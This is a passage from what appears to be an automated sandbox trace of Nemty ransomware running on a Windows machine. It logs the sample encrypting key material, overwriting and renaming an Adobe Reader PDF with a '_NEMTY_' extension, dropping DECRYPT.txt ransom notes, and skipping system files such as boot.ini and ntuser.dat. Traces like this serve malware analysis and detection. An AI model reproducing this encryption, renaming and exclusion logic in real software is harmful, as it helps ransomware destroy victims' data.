pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.557] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.557] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0187.557] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="YJoJDsHc4x4DaVDHudQ1rb2NQyPjB+HqGrWxDrYgrMbAlee8oRpsbYe3wvfgX0P1\r\nvHAcE5Pb19renqJheOaQQ39UE2OhbCo7vaUueXCgw1ArBcBEFE64Clii0avpy5y2\r\no1YhHvRKrIh8ZnQ4dQc9NVAvHpSJfkKKjcuRfCLmIRbLz9g9lAT7GmnBJL4Or/o9\r\n6pMNiJp9LCFE8S5OXel/mhB4PitJXalRB/CmJ1hswQYBWGkVEWrlBTvVk/WM8zAo\r\nsaMsvw3BjCIFRjZWaAI5OYwc5zQjpGcLOW75DZpRL/xgoEf5aoQoakvAfc2ZLQbM\r\nujh7wjbrxlwmczw3BhX4Yw==\r\n", pcchString=0x653df5c) returned 1 [0187.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0187.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0187.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.558] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=205516) returned 1 [0187.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0187.558] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.558] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0187.617] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.617] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0187.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.618] SetFilePointer (in: hFile=0x320, lDistanceToMove=205516, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x322cc [0187.618] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.618] CloseHandle (hObject=0x320) returned 1 [0187.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0187.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0187.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0187.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0187.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0187.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0187.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0187.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0187.618] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.619] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2366f2d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2366f2d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2366f2d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0187.619] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0187.619] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0187.619] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0187.619] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0187.619] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0187.620] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0187.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0187.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0187.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0187.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0187.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.621] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2366f2d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2366f2d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2366f2d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0187.621] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0187.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0187.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0187.621] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="CZE", cAlternateFileName="")) returned 1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2=".") returned 1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="..") returned 1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="...") returned 1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="windows") returned -1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="$RECYCLE.BIN") returned 1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="rsa") returned -1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="NTDETECT.COM") returned -1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="ntldr") returned -1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="MSDOS.SYS") returned -1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="IO.SYS") returned -1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="boot.ini") returned 1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="boot.ini") returned 1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="AUTOEXEC.BAT") returned 1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="ntuser.dat") returned -1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="desktop.ini") returned -1 [0187.621] lstrcmpiW (lpString1="CZE", lpString2="CONFIG.SYS") returned 1 [0187.622] lstrcmpiW (lpString1="CZE", lpString2="RECYCLER") returned -1 [0187.622] lstrcmpiW (lpString1="CZE", lpString2="BOOTSECT.BAK") returned 1 [0187.622] lstrcmpiW (lpString1="CZE", lpString2="bootmgr") returned 1 [0187.622] lstrcmpiW (lpString1="CZE", lpString2="programdata") returned -1 [0187.622] lstrcmpiW (lpString1="CZE", lpString2="appdata") returned 1 [0187.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CZE", lpUsedDefaultChar=0x0) returned 3 [0187.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CZE", lpUsedDefaultChar=0x0) returned 3 [0187.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340290 [0187.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0187.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0187.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0187.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0187.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0187.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.625] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.625] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0187.626] CloseHandle (hObject=0x2f0) returned 1 [0187.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0187.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0187.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0187.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0187.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0187.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0187.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.627] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.627] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0187.628] CloseHandle (hObject=0x2f0) returned 1 [0187.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0187.628] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2379fdd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2379fdd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0187.628] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0187.628] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2379fdd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2379fdd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, 